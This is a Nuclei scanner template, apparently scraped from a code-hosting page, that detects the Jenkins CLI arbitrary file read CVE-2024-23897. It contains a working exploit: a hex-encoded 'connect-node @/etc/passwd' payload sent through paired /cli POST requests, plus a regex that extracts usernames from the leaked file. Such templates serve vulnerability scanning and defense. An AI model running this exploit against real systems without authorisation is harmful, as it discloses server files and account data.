56 lines
2.6 KiB
YAML
56 lines
2.6 KiB
YAML
id: CVE-2024-23897
|
|
|
|
info:
|
|
name: Jenkins < 2.441 - Arbitrary File Read
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: high
|
|
description: |
|
|
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
|
|
reference:
|
|
- https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
|
|
- https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
|
|
- https://github.com/Mr-xn/Penetration_Testing_POC
|
|
- https://github.com/forsaken0127/CVE-2024-23897
|
|
- https://github.com/nomi-sec/PoC-in-GitHub
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2024-23897
|
|
epss-score: 0.41536
|
|
epss-percentile: 0.97188
|
|
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: jenkins
|
|
product: jenkins
|
|
shodan-query: "product:\"Jenkins\""
|
|
tags: cve,cve2024,lfi,rce,jenkins
|
|
variables:
|
|
payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"
|
|
|
|
javascript:
|
|
- code: |
|
|
let m = require('nuclei/net');
|
|
let name=(Host.includes(':') ? Host : Host+":80");
|
|
let conn,conn2;
|
|
try { conn = m.OpenTLS('tcp', name) } catch { conn= m.Open('tcp', name)}
|
|
conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n');
|
|
try { conn2 = m.OpenTLS('tcp', name) } catch { conn2= m.Open('tcp', name)}
|
|
conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body)
|
|
resp = conn.RecvString(1000)
|
|
args:
|
|
Body: "{{payload}}"
|
|
Host: "{{Hostname}}"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(response, "No such agent \"")'
|
|
|
|
extractors:
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- '\b([a-z_][a-z0-9_-]{0,31})\:x\:'
|
|
# digest: 4b0a00483046022100a22e0bf486c5362bd7b22a4d814691dcb9318a631e13e7cf7086dd922feb4dd4022100cfacc9f72ee0cf45347e0c8c97dc2b5c6f95028b6f5cc3a68a506f4d3d4c7964:922c64590222798bb761d5b6d8e72950 |